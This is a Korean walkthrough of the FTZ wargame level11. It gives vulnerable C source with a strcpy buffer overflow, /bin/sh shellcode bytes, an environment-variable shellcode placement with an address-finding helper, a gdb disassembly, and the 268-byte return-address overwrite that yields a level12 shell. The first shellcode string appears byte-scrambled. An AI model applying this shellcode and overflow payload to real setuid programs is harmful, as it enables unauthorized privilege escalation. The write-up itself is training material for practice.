[FTZ] level11 풀이

💡 FTZ level11 풀이

문제

계정 : level11/what!@#$?

hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

풀이

bof 취약점이 존재합니다. 쉘 코드를 작성하여 쉘 코드 주소로 ret 주소를 덮어 써서 권한을 탈취합니다.

쉘 코드는 구글링 해서 찾았습니다.

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

환경변수

쉘 코드를 환경변수에 등록하여 리턴 주소를 환경변수로 바꾸는 방법입니다.

1) 환경변수에 shell 코드 등록하기

[level11@ftz level11]$ export sh=$(python -c 'print("\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')

2) 환경변수의 메모리 주소 알아내기

환경변수의 메모리 주소는 다음과 같이 코드를 작성하여 알아냅니다.

env.c

#include <stdio.h>

int main(int argc, char* argv[]){
    char *addr;
    addr = (char*)getenv(argv[1]);
    printf("located at %p\n",addr);
    return 0;
}

[level11@ftz tmp]$ gcc -o env env.c
[level11@ftz tmp]$ ./env sh
located at 0xbfffff2f

3) bof 취약점을 이용하여 ret 주소 변경

[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc14
0x08048481 <main+17>:   push   0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0x8
0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:   add    eax,0x4
0x08048497 <main+39>:   push   DWORD PTR [eax]
0x08048499 <main+41>:   lea    eax,[ebp-264]
0x0804849f <main+47>:   push   eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    esp,0x10
0x080484a8 <main+56>:   sub    esp,0xc
0x080484ab <main+59>:   lea    eax,[ebp-264]
0x080484b1 <main+65>:   push   eax
0x080484b2 <main+66>:   call   0x804833c <printf>
0x080484b7 <main+71>:   add    esp,0x10
0x080484ba <main+74>:   leave
0x080484bb <main+75>:   ret
0x080484bc <main+76>:   nop
0x080484bd <main+77>:   nop
0x080484be <main+78>:   nop
0x080484bf <main+79>:   nop
End of assembler dump.
(gdb)

스택의 구조는 다음과 같습니다.

str 256 byte
dummy 8 byte
ebp 4 byte
ret 4 byte

따라서 268 바이트의 더미를 넣어주고, 환경변수의 주소를 넣어주면 됩니다.

[level11@ftz level11]$ ./attackme $(python -c 'print("A"*268+"\x2f\xff\xff\xbf")')
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$